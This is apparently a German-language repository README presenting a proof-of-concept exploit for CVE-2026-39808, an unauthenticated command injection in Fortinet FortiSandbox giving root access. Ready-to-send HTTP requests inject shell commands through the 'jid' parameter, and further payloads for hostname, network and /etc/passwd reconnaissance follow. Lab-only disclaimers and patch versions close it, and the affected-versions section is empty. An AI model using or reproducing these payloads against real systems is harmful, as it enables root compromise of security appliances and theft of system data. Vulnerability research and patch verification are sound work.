🚨 FortiSandbox Root Sandbox Escape - CVE-2026-39808

---

🎯 Überblick

Dieses Repository enthält einen sauberen und gut dokumentierten Proof of Concept für CVE-2026-39808 — eine kritische, nicht authentifizierte Command-Injection-Schwachstelle in Fortinet FortiSandbox, die Sandbox-Escape und Remote-Codeausführung als root (uid=0) ermöglicht.

Was dieser PoC zeigt:

• Path Traversal + Command Injection über den Parameter jid
• Sandbox-Breakout aus der Analyseumgebung
• Ausführung beliebiger Befehle mit Root-Rechten
• Lesen von Systemdateien und Netzwerkinformationen

📸 Demo

Erfolgreiche Ausnutzung mit uid=0 gid=0 groups=0

🚀 Betroffene Versionen

🛠️ Verwendung (nur im Labor)

1. Einfaches Payload (empfohlen)

GET /fortisandbox/job-detail/tracer-behavior?jid=%7C(id%3E/web/ng/out.txt)%7C HTTP/1.1
Host: your-lab-ip

2. Ergebnis anzeigen

Im Browser öffnen:

https://your-lab-ip/ng/out.txt

3. Erweiterte Payload-Beispiele

# Get IP address + hostname
jid=|(hostname; ip -4 addr show > /web/ng/out.txt)|

# Full system reconnaissance
jid=|(whoami; id; hostname; ip addr; cat /etc/passwd > /web/ng/out.txt)|

📁 Repository-Inhalt

• poc.py → Automatisierter Python-Exploit
• burp-request.txt → Einsatzbereite Burp-Suite-Anfrage
• payloads.md → Sammlung nützlicher Payloads
• screenshots/ → Schritt-für-Schritt-Screenshots der Exploitation
• README.md → Diese Datei

⚠️ Wichtige Hinweise

• Nur für Bildungs- und Laborzwecke
• Verwende dies NICHT auf Produktions- oder nicht autorisierten Systemen
• Hole dir vor dem Testen immer die entsprechende Genehmigung
• Patche deine FortiSandbox auf Version 4.4.9+ oder 5.0.6+

🛡️ Gegenmaßnahmen

Aktualisiere FortiSandbox sofort auf eine der folgenden Versionen:

• 4.4.9 oder höher
• 5.0.6 oder höher

Fortinet hat offizielle Patches veröffentlicht, die diese Schwachstelle beheben.